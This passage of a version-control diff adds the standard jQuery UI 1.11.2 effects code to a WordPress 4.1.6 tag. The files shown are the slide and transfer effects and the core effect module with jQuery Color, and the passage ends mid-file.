+}(function( $ ) {
+
+return $.effects.effect.slide = function( o, done ) {
+
+	// Create element
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "width", "height" ],
+		mode = $.effects.setMode( el, o.mode || "show" ),
+		show = mode === "show",
+		direction = o.direction || "left",
+		ref = (direction === "up" || direction === "down") ? "top" : "left",
+		positiveMotion = (direction === "up" || direction === "left"),
+		distance,
+		animation = {};
+
+	// Adjust
+	$.effects.save( el, props );
+	el.show();
+	distance = o.distance || el[ ref === "top" ? "outerHeight" : "outerWidth" ]( true );
+
+	$.effects.createWrapper( el ).css({
+		overflow: "hidden"
+	});
+
+	if ( show ) {
+		el.css( ref, positiveMotion ? (isNaN(distance) ? "-" + distance : -distance) : distance );
+	}
+
+	// Animation
+	animation[ ref ] = ( show ?
+		( positiveMotion ? "+=" : "-=") :
+		( positiveMotion ? "-=" : "+=")) +
+		distance;
+
+	// Animate
+	el.animate( animation, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: function() {
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-transfer.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-transfer.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect-transfer.js	(revision 33402)
@@ -0,0 +1,57 @@
+/*!
+ * jQuery UI Effects Transfer 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/transfer-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.transfer = function( o, done ) {
+	var elem = $( this ),
+		target = $( o.to ),
+		targetFixed = target.css( "position" ) === "fixed",
+		body = $("body"),
+		fixTop = targetFixed ? body.scrollTop() : 0,
+		fixLeft = targetFixed ? body.scrollLeft() : 0,
+		endPosition = target.offset(),
+		animation = {
+			top: endPosition.top - fixTop,
+			left: endPosition.left - fixLeft,
+			height: target.innerHeight(),
+			width: target.innerWidth()
+		},
+		startPosition = elem.offset(),
+		transfer = $( "<div class='ui-effects-transfer'></div>" )
+			.appendTo( document.body )
+			.addClass( o.className )
+			.css({
+				top: startPosition.top - fixTop,
+				left: startPosition.left - fixLeft,
+				height: elem.innerHeight(),
+				width: elem.innerWidth(),
+				position: targetFixed ? "fixed" : "absolute"
+			})
+			.animate( animation, o.duration, o.easing, function() {
+				transfer.remove();
+				done();
+			});
+};
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/effect.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/effect.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/effect.js	(revision 33402)
@@ -0,0 +1,1301 @@
+/*!
+ * jQuery UI Effects 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/category/effects-core/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define( [ "jquery" ], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+var dataSpace = "ui-effects-",
+
+	// Create a local jQuery because jQuery Color relies on it and the
+	// global may not exist with AMD and a custom build (#10199)
+	jQuery = $;
+
+$.effects = {
+	effect: {}
+};
+
+/*!
+ * jQuery Color Animations v2.1.2
+ * https://github.com/jquery/jquery-color
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * Date: Wed Jan 16 08:47:09 2013 -0600
+ */
+(function( jQuery, undefined ) {
+
+	var stepHooks = "backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",
+
+	// plusequals test for += 100 -= 100
+	rplusequals = /^([\-+])=\s*(\d+\.?\d*)/,
+	// a set of RE's that can match strings and generate color tuples.
+	stringParsers = [ {
+			re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ],
+					execResult[ 2 ],
+					execResult[ 3 ],
+					execResult[ 4 ]
+				];
+			}
+		}, {
+			re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ] * 2.55,
+					execResult[ 2 ] * 2.55,
+					execResult[ 3 ] * 2.55,
+					execResult[ 4 ]
+				];
+			}
+		}, {
+			// this regex ignores A-F because it's compared against an already lowercased string
+			re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,
+			parse: function( execResult ) {
+				return [
+					parseInt( execResult[ 1 ], 16 ),
+					parseInt( execResult[ 2 ], 16 ),
+					parseInt( execResult[ 3 ], 16 )
+				];
+			}
+		}, {
+			// this regex ignores A-F because it's compared against an already lowercased string
+			re: /#([a-f0-9])([a-f0-9])([a-f0-9])/,
+			parse: function( execResult ) {
+				return [
+					parseInt( execResult[ 1 ] + execResult[ 1 ], 16 ),
+					parseInt( execResult[ 2 ] + execResult[ 2 ], 16 ),
+					parseInt( execResult[ 3 ] + execResult[ 3 ], 16 )
+				];
+			}
+		}, {
+			re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
+			space: "hsla",
+			parse: function( execResult ) {
+				return [
+					execResult[ 1 ],
+					execResult[ 2 ] / 100,
+					execResult[ 3 ] / 100,
+					execResult[ 4 ]
+				];
+			}
+		} ],
+
+	// jQuery.Color( )
+	color = jQuery.Color = function( color, green, blue, alpha ) {
+		return new jQuery.Color.fn.parse( color, green, blue, alpha );
+	},
+	spaces = {
+		rgba: {
+			props: {
+				red: {
+					idx: 0,
+					type: "byte"
+				},
+				green: {
+					idx: 1,
+					type: "byte"
+				},
+				blue: {
+					idx: 2,
+					type: "byte"
+				}
+			}
+		},
+
+		hsla: {
+			props: {
+				hue: {
+					idx: 0,
+					type: "degrees"
+				},
+				saturation: {
+					idx: 1,
+					type: "percent"
+				},
+				lightness: {
+					idx: 2,
+					type: "percent"
+				}
+			}
+		}
+	},
+	propTypes = {
+		"byte": {
+			floor: true,
+			max: 255
+		},
+		"percent": {
+			max: 1
+		},
+		"degrees": {
+			mod: 360,
+			floor: true
+		}
+	},
+	support = color.support = {},
+
+	// element for support tests
+	supportElem = jQuery( "<p>" )[ 0 ],
+
+	// colors = jQuery.Color.names
+	colors,
+
+	// local aliases of functions called often
+	each = jQuery.each;
+
+// determine rgba support immediately
+supportElem.style.cssText = "background-color:rgba(1,1,1,.5)";
+support.rgba = supportElem.style.backgroundColor.indexOf( "rgba" ) > -1;
+
+// define cache name and alpha properties
+// for rgba and hsla spaces
+each( spaces, function( spaceName, space ) {
+	space.cache = "_" + spaceName;
+	space.props.alpha = {
+		idx: 3,
+		type: "percent",
+		def: 1
+	};
+});
+
+function clamp( value, prop, allowEmpty ) {
+	var type = propTypes[ prop.type ] || {};
+
+	if ( value == null ) {
+		return (allowEmpty || !prop.def) ? null : prop.def;
+	}
+
+	// ~~ is an short way of doing floor for positive numbers
+	value = type.floor ? ~~value : parseFloat( value );
+
+	// IE will pass in empty strings as value for alpha,
+	// which will hit this case
+	if ( isNaN( value ) ) {
+		return prop.def;
+	}
+
+	if ( type.mod ) {
+		// we add mod before modding to make sure that negatives values
+		// get converted properly: -10 -> 350
+		return (value + type.mod) % type.mod;
+	}
+
+	// for now all property types without mod have min and max
+	return 0 > value ? 0 : type.max < value ? type.max : value;
+}
+
+function stringParse( string ) {
+	var inst = color(),
+		rgba = inst._rgba = [];
+
+	string = string.toLowerCase();
+
+	each( stringParsers, function( i, parser ) {
+		var parsed,
+			match = parser.re.exec( string ),
+			values = match && parser.parse( match ),
+			spaceName = parser.space || "rgba";
+
+		if ( values ) {
+			parsed = inst[ spaceName ]( values );
+
+			// if this was an rgba parse the assignment might happen twice
+			// oh well....
+			inst[ spaces[ spaceName ].cache ] = parsed[ spaces[ spaceName ].cache ];
+			rgba = inst._rgba = parsed._rgba;
+
+			// exit each( stringParsers ) here because we matched
+			return false;
+		}
+	});
+
+	// Found a stringParser that handled it
+	if ( rgba.length ) {
+
+		// if this came from a parsed string, force "transparent" when alpha is 0
+		// chrome, (and maybe others) return "transparent" as rgba(0,0,0,0)
+		if ( rgba.join() === "0,0,0,0" ) {
+			jQuery.extend( rgba, colors.transparent );
+		}
+		return inst;
+	}
+
+	// named colors
+	return colors[ string ];
+}
+
+color.fn = jQuery.extend( color.prototype, {
+	parse: function( red, green, blue, alpha ) {
+		if ( red === undefined ) {
+			this._rgba = [ null, null, null, null ];
+			return this;
+		}
+		if ( red.jquery || red.nodeType ) {
+			red = jQuery( red ).css( green );
+			green = undefined;
+		}
+
+		var inst = this,
+			type = jQuery.type( red ),
+			rgba = this._rgba = [];
+
+		// more than 1 argument specified - assume ( red, green, blue, alpha )
+		if ( green !== undefined ) {
+			red = [ red, green, blue, alpha ];
+			type = "array";
+		}
+
+		if ( type === "string" ) {
+			return this.parse( stringParse( red ) || colors._default );
+		}
+
+		if ( type === "array" ) {
+			each( spaces.rgba.props, function( key, prop ) {
+				rgba[ prop.idx ] = clamp( red[ prop.idx ], prop );
+			});
+			return this;
+		}
+
+		if ( type === "object" ) {
+			if ( red instanceof color ) {
+				each( spaces, function( spaceName, space ) {
+					if ( red[ space.cache ] ) {
+						inst[ space.cache ] = red[ space.cache ].slice();
+					}
+				});
+			} else {
+				each( spaces, function( spaceName, space ) {
+					var cache = space.cache;
+					each( space.props, function( key, prop ) {
+
+						// if the cache doesn't exist, and we know how to convert
+						if ( !inst[ cache ] && space.to ) {
+
+							// if the value was null, we don't need to copy it
+							// if the key was alpha, we don't need to copy it either
+							if ( key === "alpha" || red[ key ] == null ) {
+								return;
+							}
+							inst[ cache ] = space.to( inst._rgba );
+						}
+
+						// this is the only case where we allow nulls for ALL properties.
+						// call clamp with alwaysAllowEmpty
+						inst[ cache ][ prop.idx ] = clamp( red[ key ], prop, true );
+					});
+
+					// everything defined but alpha?
+					if ( inst[ cache ] && jQuery.inArray( null, inst[ cache ].slice( 0, 3 ) ) < 0 ) {
+						// use the default of 1
+						inst[ cache ][ 3 ] = 1;
+						if ( space.from ) {
+							inst._rgba = space.from( inst[ cache ] );
+						}
+					}
+				});
+			}
+			return this;
+		}
+	},
+	is: function( compare ) {
+		var is = color( compare ),
+			same = true,
+			inst = this;
+
+		each( spaces, function( _, space ) {
+			var localCache,
+				isCache = is[ space.cache ];
+			if (isCache) {
+				localCache = inst[ space.cache ] || space.to && space.to( inst._rgba ) || [];
+				each( space.props, function( _, prop ) {
+					if ( isCache[ prop.idx ] != null ) {
+						same = ( isCache[ prop.idx ] === localCache[ prop.idx ] );
+						return same;
+					}
+				});
+			}
+			return same;
+		});
+		return same;
+	},
+	_space: function() {
+		var used = [],
+			inst = this;
+		each( spaces, function( spaceName, space ) {
+			if ( inst[ space.cache ] ) {
+				used.push( spaceName );
+			}
+		});
+		return used.pop();
+	},
+	transition: function( other, distance ) {
+		var end = color( other ),
+			spaceName = end._space(),
+			space = spaces[ spaceName ],
+			startColor = this.alpha() === 0 ? color( "transparent" ) : this,
+			start = startColor[ space.cache ] || space.to( startColor._rgba ),
+			result = start.slice();
+
+		end = end[ space.cache ];
+		each( space.props, function( key, prop ) {
+			var index = prop.idx,
+				startValue = start[ index ],
+				endValue = end[ index ],
+				type = propTypes[ prop.type ] || {};
+
+			// if null, don't override start value
+			if ( endValue === null ) {
+				return;
+			}
+			// if null - use end
+			if ( startValue === null ) {
+				result[ index ] = endValue;
+			} else {
+				if ( type.mod ) {
+					if ( endValue - startValue > type.mod / 2 ) {
+						startValue += type.mod;
+					} else if ( startValue - endValue > type.mod / 2 ) {
+						startValue -= type.mod;
+					}
+				}
+				result[ index ] = clamp( ( endValue - startValue ) * distance + startValue, prop );
+			}
+		});
+		return this[ spaceName ]( result );
+	},
+	blend: function( opaque ) {
+		// if we are already opaque - return ourself
+		if ( this._rgba[ 3 ] === 1 ) {
+			return this;
+		}
+
+		var rgb = this._rgba.slice(),
+			a = rgb.pop(),
+			blend = color( opaque )._rgba;
+
+		return color( jQuery.map( rgb, function( v, i ) {
+			return ( 1 - a ) * blend[ i ] + a * v;
+		}));
+	},
+	toRgbaString: function() {
+		var prefix = "rgba(",
+			rgba = jQuery.map( this._rgba, function( v, i ) {
+				return v == null ? ( i > 2 ? 1 : 0 ) : v;
+			});
+
+		if ( rgba[ 3 ] === 1 ) {
+			rgba.pop();
+			prefix = "rgb(";
+		}
+
+		return prefix + rgba.join() + ")";
+	},
+	toHslaString: function() {
+		var prefix = "hsla(",
+			hsla = jQuery.map( this.hsla(), function( v, i ) {
+				if ( v == null ) {
+					v = i > 2 ? 1 : 0;
+				}
+
+				// catch 1 and 2
+				if ( i && i < 3 ) {
+					v = Math.round( v * 100 ) + "%";
+				}
+				return v;
+			});
+
+		if ( hsla[ 3 ] === 1 ) {
+			hsla.pop();
+			prefix = "hsl(";
+		}
+		return prefix + hsla.join() + ")";
+	},
+	toHexString: function( includeAlpha ) {
+		var rgba = this._rgba.slice(),
+			alpha = rgba.pop();
+
+		if ( includeAlpha ) {
+			rgba.push( ~~( alpha * 255 ) );
+		}
+
+		return "#" + jQuery.map( rgba, function( v ) {
+
+			// default to 0 when nulls exist
+			v = ( v || 0 ).toString( 16 );
+			return v.length === 1 ? "0" + v : v;
+		}).join("");
+	},
+	toString: function() {
+		return this._rgba[ 3 ] === 0 ? "transparent" : this.toRgbaString();
+	}
+});
+color.fn.parse.prototype = color.fn;
+
+// hsla conversions adapted from:
+// https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RGB.as?r=5021
+
+function hue2rgb( p, q, h ) {
+	h = ( h + 1 ) % 1;
+	if ( h * 6 < 1 ) {
+		return p + ( q - p ) * h * 6;
+	}
+	if ( h * 2 < 1) {
+		return q;
+	}
+	if ( h * 3 < 2 ) {
+		return p + ( q - p ) * ( ( 2 / 3 ) - h ) * 6;
+	}
+	return p;
+}
+
+spaces.hsla.to = function( rgba ) {
+	if ( rgba[ 0 ] == null || rgba[ 1 ] == null || rgba[ 2 ] == null ) {
+		return [ null, null, null, rgba[ 3 ] ];
+	}
+	var r = rgba[ 0 ] / 255,
+		g = rgba[ 1 ] / 255,
+		b = rgba[ 2 ] / 255,
+		a = rgba[ 3 ],
+		max = Math.max( r, g, b ),
+		min = Math.min( r, g, b ),
+		diff = max - min,
+		add = max + min,
+		l = add * 0.5,
+		h, s;
+
+	if ( min === max ) {
+		h = 0;
+	} else if ( r === max ) {
+		h = ( 60 * ( g - b ) / diff ) + 360;
+	} else if ( g === max ) {
+		h = ( 60 * ( b - r ) / diff ) + 120;
+	} else {
+		h = ( 60 * ( r - g ) / diff ) + 240;
+	}
+
+	// chroma (diff) == 0 means greyscale which, by definition, saturation = 0%
+	// otherwise, saturation is based on the ratio of chroma (diff) to lightness (add)
+	if ( diff === 0 ) {
+		s = 0;
+	} else if ( l <= 0.5 ) {
+		s = diff / add;
+	} else {
+		s = diff / ( 2 - add );
+	}
+	return [ Math.round(h) % 360, s, l, a == null ? 1 : a ];
+};
+
+spaces.hsla.from = function( hsla ) {
+	if ( hsla[ 0 ] == null || hsla[ 1 ] == null || hsla[ 2 ] == null ) {
+		return [ null, null, null, hsla[ 3 ] ];
+	}
+	var h = hsla[ 0 ] / 360,
+		s = hsla[ 1 ],
+		l = hsla[ 2 ],
+		a = hsla[ 3 ],
+		q = l <= 0.5 ? l * ( 1 + s ) : l + s - l * s,
+		p = 2 * l - q;
+
+	return [
+		Math.round( hue2rgb( p, q, h + ( 1 / 3 ) ) * 255 ),
+		Math.round( hue2rgb( p, q, h ) * 255 ),
+		Math.round( hue2rgb( p, q, h - ( 1 / 3 ) ) * 255 ),
+		a
+	];
+};
+
+each( spaces, function( spaceName, space ) {
+	var props = space.props,
+		cache = space.cache,
+		to = space.to,
+		from = space.from;
+
+	// makes rgba() and hsla()
+	color.fn[ spaceName ] = function( value ) {
+
+		// generate a cache for this space if it doesn't exist
+		if ( to && !this[ cache ] ) {
+			this[ cache ] = to( this._rgba );
+		}
+		if ( value === undefined ) {
+			return this[ cache ].slice();
+		}
+
+		var ret,
+			type = jQuery.type( value ),
+			arr = ( type === "array" || type === "object" ) ? value : arguments,
+			local = this[ cache ].slice();
+
+		each( props, function( key, prop ) {
+			var val = arr[ type === "object" ? key : prop.idx ];
+			if ( val == null ) {
+				val = local[ prop.idx ];
+			}
+			local[ prop.idx ] = clamp( val, prop );
+		});
+
+		if ( from ) {
+			ret = color( from( local ) );
+			ret[ cache ] = local;
+			return ret;
+		} else {
+			return color( local );
+		}
+	};
+
+	// makes red() green() blue() alpha() hue() saturation() lightness()
+	each( props, function( key, prop ) {
+		// alpha is included in more than one space
+		if ( color.fn[ key ] ) {
+			return;
+		}
+		color.fn[ key ] = function( value ) {
+			var vtype = jQuery.type( value ),
+				fn = ( key === "alpha" ? ( this._hsla ? "hsla" : "rgba" ) : spaceName ),
+				local = this[ fn ](),
+				cur = local[ prop.idx ],
+				match;
+
+			if ( vtype === "undefined" ) {
+				return cur;
+			}
+
+			if ( vtype === "function" ) {
+				value = value.call( this, cur );
+				vtype = jQuery.type( value );
+			}
+			if ( value == null && prop.empty ) {
+				return this;
+			}
+			if ( vtype === "string" ) {
+				match = rplusequals.exec( value );
+				if ( match ) {
+					value = cur + parseFloat( match[ 2 ] ) * ( match[ 1 ] === "+" ? 1 : -1 );
+				}
+			}
+			local[ prop.idx ] = value;
+			return this[ fn ]( local );
+		};
+	});
+});
+
+// add cssHook and .fx.step function for each named hook.
+// accept a space separated string of properties
+color.hook = function( hook ) {
+	var hooks = hook.split( " " );
+	each( hooks, function( i, hook ) {
+		jQuery.cssHooks[ hook ] = {
+			set: function( elem, value ) {
+				var parsed, curElem,
+					backgroundColor = "";
+
+				if ( value !== "transparent" && ( jQuery.type( value ) !== "string" || ( parsed = stringParse( value ) ) ) ) {
+					value = color( parsed || value );
+					if ( !support.rgba && value._rgba[ 3 ] !== 1 ) {
+						curElem = hook === "backgroundColor" ? elem.parentNode : elem;
+						while (
+							(backgroundColor === "" || backgroundColor === "transparent") &&
+							curElem && curElem.style
+						) {
+							try {
+								backgroundColor = jQuery.css( curElem, "backgroundColor" );
+								curElem = curElem.parentNode;
+							} catch ( e ) {
+							}
+						}
+
+						value = value.blend( backgroundColor && backgroundColor !== "transparent" ?
+							backgroundColor :
+							"_default" );
+					}
+
+					value = value.toRgbaString();
+				}
+				try {
+					elem.style[ hook ] = value;
+				} catch ( e ) {
+					// wrapped to prevent IE from throwing errors on "invalid" values like 'auto' or 'inherit'
+				}
+			}
+		};
+		jQuery.fx.step[ hook ] = function( fx ) {
+			if ( !fx.colorInit ) {
+				fx.start = color( fx.elem, hook );
+				fx.end = color( fx.end );
+				fx.colorInit = true;
+			}
+			jQuery.cssHooks[ hook ].set( fx.elem, fx.start.transition( fx.end, fx.pos ) );
+		};
+	});
+
+};
+
+color.hook( stepHooks );
+
+jQuery.cssHooks.borderColor = {
+	expand: function( value ) {
+		var expanded = {};
+
+		each( [ "Top", "Right", "Bottom", "Left" ], function( i, part ) {
+			expanded[ "border" + part + "Color" ] = value;
+		});
+		return expanded;
+	}
+};
+
+// Basic color names only.
+// Usage of any of the other color names requires adding yourself or including
+// jquery.color.svg-names.js.
+colors = jQuery.Color.names = {
+	// 4.1. Basic color keywords
+	aqua: "#00ffff",
+	black: "#000000",
+	blue: "#0000ff",
+	fuchsia: "#ff00ff",
+	gray: "#808080",
+	green: "#008000",
+	lime: "#00ff00",
+	maroon: "#800000",
+	navy: "#000080",
+	olive: "#808000",
+	purple: "#800080",
+	red: "#ff0000",
+	silver: "#c0c0c0",
+	teal: "#008080",
+	white: "#ffffff",
+	yellow: "#ffff00",
+
+	// 4.2.3. "transparent" color keyword
+	transparent: [ null, null, null, 0 ],
+
+	_default: "#ffffff"
+};
+
+})( jQuery );
+
+/******************************************************************************/
+/****************************** CLASS ANIMATIONS ******************************/
+/******************************************************************************/
+(function() {
+
+var classAnimationActions = [ "add", "remove", "toggle" ],
+	shorthandStyles = {
+		border: 1,
+		borderBottom: 1,
+		borderColor: 1,
+		borderLeft: 1,
+		borderRight: 1,
+		borderTop: 1,
+		borderWidth: 1,
+		margin: 1,
+		padding: 1
+	};
+
+$.each([ "borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle" ], function( _, prop ) {
+	$.fx.step[ prop ] = function( fx ) {
+		if ( fx.end !== "none" && !fx.setAttr || fx.pos === 1 && !fx.setAttr ) {
+			jQuery.style( fx.elem, prop, fx.end );
+			fx.setAttr = true;
+		}
+	};
+});
+
+function getElementStyles( elem ) {
+	var key, len,
+		style = elem.ownerDocument.defaultView ?
+			elem.ownerDocument.defaultView.getComputedStyle( elem, null ) :
+			elem.currentStyle,
+		styles = {};
+
+	if ( style && style.length && style[ 0 ] && style[ style[ 0 ] ] ) {
+		len = style.length;
+		while ( len-- ) {
+			key = style[ len ];
+			if ( typeof style[ key ] === "string" ) {
+				styles[ $.camelCase( key ) ] = style[ key ];
+			}
+		}
+	// support: Opera, IE <9
+	} else {
+		for ( key in style ) {
+			if ( typeof style[ key ] === "string" ) {
+				styles[ key ] = style[ key ];
+			}
+		}
+	}
+
+	return styles;
+}
+
+function styleDifference( oldStyle, newStyle ) {
+	var diff = {},
+		name, value;
+
+	for ( name in newStyle ) {
+		value = newStyle[ name ];
+		if ( oldStyle[ name ] !== value ) {
+			if ( !shorthandStyles[ name ] ) {
+				if ( $.fx.step[ name ] || !isNaN( parseFloat( value ) ) ) {
+					diff[ name ] = value;
+				}
+			}
+		}
+	}
+
+	return diff;
+}
+
+// support: jQuery <1.8
+if ( !$.fn.addBack ) {
+	$.fn.addBack = function( selector ) {
+		return this.add( selector == null ?
+			this.prevObject : this.prevObject.filter( selector )
+		);
+	};
+}
+
+$.effects.animateClass = function( value, duration, easing, callback ) {
+	var o = $.speed( duration, easing, callback );
+
+	return this.queue( function() {
+		var animated = $( this ),
+			baseClass = animated.attr( "class" ) || "",
+			applyClassChange,
+			allAnimations = o.children ? animated.find( "*" ).addBack() : animated;
+
+		// map the animated objects to store the original styles.
+		allAnimations = allAnimations.map(function() {
+			var el = $( this );
+			return {
+				el: el,
+				start: getElementStyles( this )
+			};
+		});
+
+		// apply class change
+		applyClassChange = function() {
+			$.each( classAnimationActions, function(i, action) {
+				if ( value[ action ] ) {
+					animated[ action + "Class" ]( value[ action ] );
+				}
+			});
+		};
+		applyClassChange();
+
+		// map all animated objects again - calculate new styles and diff
+		allAnimations = allAnimations.map(function() {
+			this.end = getElementStyles( this.el[ 0 ] );
+			this.diff = styleDifference( this.start, this.end );
+			return this;
+		});
+
+		// apply original class
+		animated.attr( "class", baseClass );
+
+		// map all animated objects again - this time collecting a promise
+		allAnimations = allAnimations.map(function() {
+			var styleInfo = this,
+				dfd = $.Deferred(),
+				opts = $.extend({}, o, {
+					queue: false,
+					complete: function() {
+						dfd.resolve( styleInfo );
+					}
+				});
+
+			this.el.animate( this.diff, opts );
+			return dfd.promise();
+		});
+
+		// once all animations have completed:
+		$.when.apply( $, allAnimations.get() ).done(function() {
+
+			// set the final class
+			applyClassChange();
+
+			// for each animated element,
+			// clear all css properties that were animated
+			$.each( arguments, function() {
+				var el = this.el;
+				$.each( this.diff, function(key) {
+					el.css( key, "" );
+				});
+			});
+
+			// this is guarnteed to be there if you use jQuery.speed()
+			// it also handles dequeuing the next anim...
+			o.complete.call( animated[ 0 ] );
+		});
+	});
+};
+
+$.fn.extend({
+	addClass: (function( orig ) {
+		return function( classNames, speed, easing, callback ) {
+			return speed ?
+				$.effects.animateClass.call( this,
+					{ add: classNames }, speed, easing, callback ) :
+				orig.apply( this, arguments );
+		};
+	})( $.fn.addClass ),
+
+	removeClass: (function( orig ) {
+		return function( classNames, speed, easing, callback ) {
+			return arguments.length > 1 ?
+				$.effects.animateClass.call( this,
+					{ remove: classNames }, speed, easing, callback ) :
+				orig.apply( this, arguments );
+		};
+	})( $.fn.removeClass ),
+
+	toggleClass: (function( orig ) {
+		return function( classNames, force, speed, easing, callback ) {
+			if ( typeof force === "boolean" || force === undefined ) {
+				if ( !speed ) {
+					// without speed parameter
+					return orig.apply( this, arguments );
+				} else {
+					return $.effects.animateClass.call( this,
+						(force ? { add: classNames } : { remove: classNames }),
+						speed, easing, callback );
+				}
+			} else {
+				// without force parameter
+				return $.effects.animateClass.call( this,
+					{ toggle: classNames }, force, speed, easing );
+			}
+		};
+	})( $.fn.toggleClass ),
+
+	switchClass: function( remove, add, speed, easing, callback) {
+		return $.effects.animateClass.call( this, {
+			add: add,
+			remove: remove
+		}, speed, easing, callback );
+	}
+});
+
+})();
+
+/******************************************************************************/
+/*********************************** EFFECTS **********************************/
+/******************************************************************************/
+
+(function() {
+
+$.extend( $.effects, {
+	version: "1.11.2",
+
+	// Saves a set of properties in a data storage
+	save: function( element, set ) {
+		for ( var i = 0; i < set.length; i++ ) {
+			if ( set[ i ] !== null ) {
+				element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] );
+			}
+		}
+	},
+
+	// Restores a set of previously saved properties from a data storage
+	restore: function( element, set ) {
+		var val, i;
+		for ( i = 0; i < set.length; i++ ) {
+			if ( set[ i ] !== null ) {
+				val = element.data( dataSpace + set[ i ] );
+				// support: jQuery 1.6.2
+				// http://bugs.jquery.com/ticket/9917
+				// jQuery 1.6.2 incorrectly returns undefined for any falsy value.
+				// We can't differentiate between "" and 0 here, so we just assume
+				// empty string since it's likely to be a more common value...
+				if ( val === undefined ) {
+					val = "";
+				}
+				element.css( set[ i ], val );
+			}
+		}
+	},
+
+	setMode: function( el, mode ) {
+		if (mode === "toggle") {
+			mode = el.is( ":hidden" ) ? "show" : "hide";
+		}
+		return mode;
+	},
+
+	// Translates a [top,left] array into a baseline value
+	// this should be a little more flexible in the future to handle a string & hash
+	getBaseline: function( origin, original ) {
+		var y, x;
+		switch ( origin[ 0 ] ) {
+			case "top": y = 0; break;
+			case "middle": y = 0.5; break;
+			case "bottom": y = 1; break;
+			default: y = origin[ 0 ] / original.height;
+		}
+		switch ( origin[ 1 ] ) {
+			case "left": x = 0; break;
+			case "center": x = 0.5; break;
+			case "right": x = 1; break;
+			default: x = origin[ 1 ] / original.width;
+		}
+		return {
+			x: x,
+			y: y
+		};
+	},
+
+	// Wraps the element around a wrapper that copies position properties
+	createWrapper: function( element ) {
+
+		// if the element is already wrapped, return it
+		if ( element.parent().is( ".ui-effects-wrapper" )) {
+			return element.parent();
+		}
+
+		// wrap the element
+		var props = {
+				width: element.outerWidth(true),
+				height: element.outerHeight(true),
+				"float": element.css( "float" )
+			},
+			wrapper = $( "<div></div>" )
+				.addClass( "ui-effects-wrapper" )
+				.css({
+					fontSize: "100%",
+					background: "transparent",
+					border: "none",
+					margin: 0,
+					padding: 0
+				}),
+			// Store the size in case width/height are defined in % - Fixes #5245
+			size = {
+				width: element.width(),
+				height: element.height()
+			},
+			active = document.activeElement;
+
+		// support: Firefox
+		// Firefox incorrectly exposes anonymous content
+		// https://bugzilla.mozilla.org/show_bug.cgi?id=561664
+		try {
+			active.id;
+		} catch ( e ) {
+			active = document.body;
+		}
+
+		element.wrap( wrapper );
+
+		// Fixes #7595 - Elements lose focus when wrapped.
+		if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
+			$( active ).focus();
+		}
+
+		wrapper = element.parent(); //Hotfix for jQuery 1.4 since some change in wrap() seems to actually lose the reference to the wrapped element
+
+		// transfer positioning properties to the wrapper
+		if ( element.css( "position" ) === "static" ) {
+			wrapper.css({ position: "relative" });
+			element.css({ position: "relative" });
+		} else {
+			$.extend( props, {
+				position: element.css( "position" ),
+				zIndex: element.css( "z-index" )
+			});
+			$.each([ "top", "left", "bottom", "right" ], function(i, pos) {
+				props[ pos ] = element.css( pos );
+				if ( isNaN( parseInt( props[ pos ], 10 ) ) ) {
+					props[ pos ] = "auto";
+				}
+			});
+			element.css({
+				position: "relative",
+				top: 0,
+				left: 0,
+				right: "auto",
+				bottom: "auto"
+			});
+		}
+		element.css(size);
+
+		return wrapper.css( props ).show();
+	},
+
+	removeWrapper: function( element ) {
+		var active = document.activeElement;
+
+		if ( element.parent().is( ".ui-effects-wrapper" ) ) {
+			element.parent().replaceWith( element );
+
+			// Fixes #7595 - Elements lose focus when wrapped.
+			if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) {
+				$( active ).focus();
+			}
+		}
+
+		return element;
+	},
+
+	setTransition: function( element, list, factor, value ) {
+		value = value || {};
+		$.each( list, function( i, x ) {
+			var unit = element.cssUnit( x );
+			if ( unit[ 0 ] > 0 ) {
+				value[ x ] = unit[ 0 ] * factor + unit[ 1 ];
+			}
+		});
+		return value;
+	}
+});
+
+// return an effect options object for the given parameters:
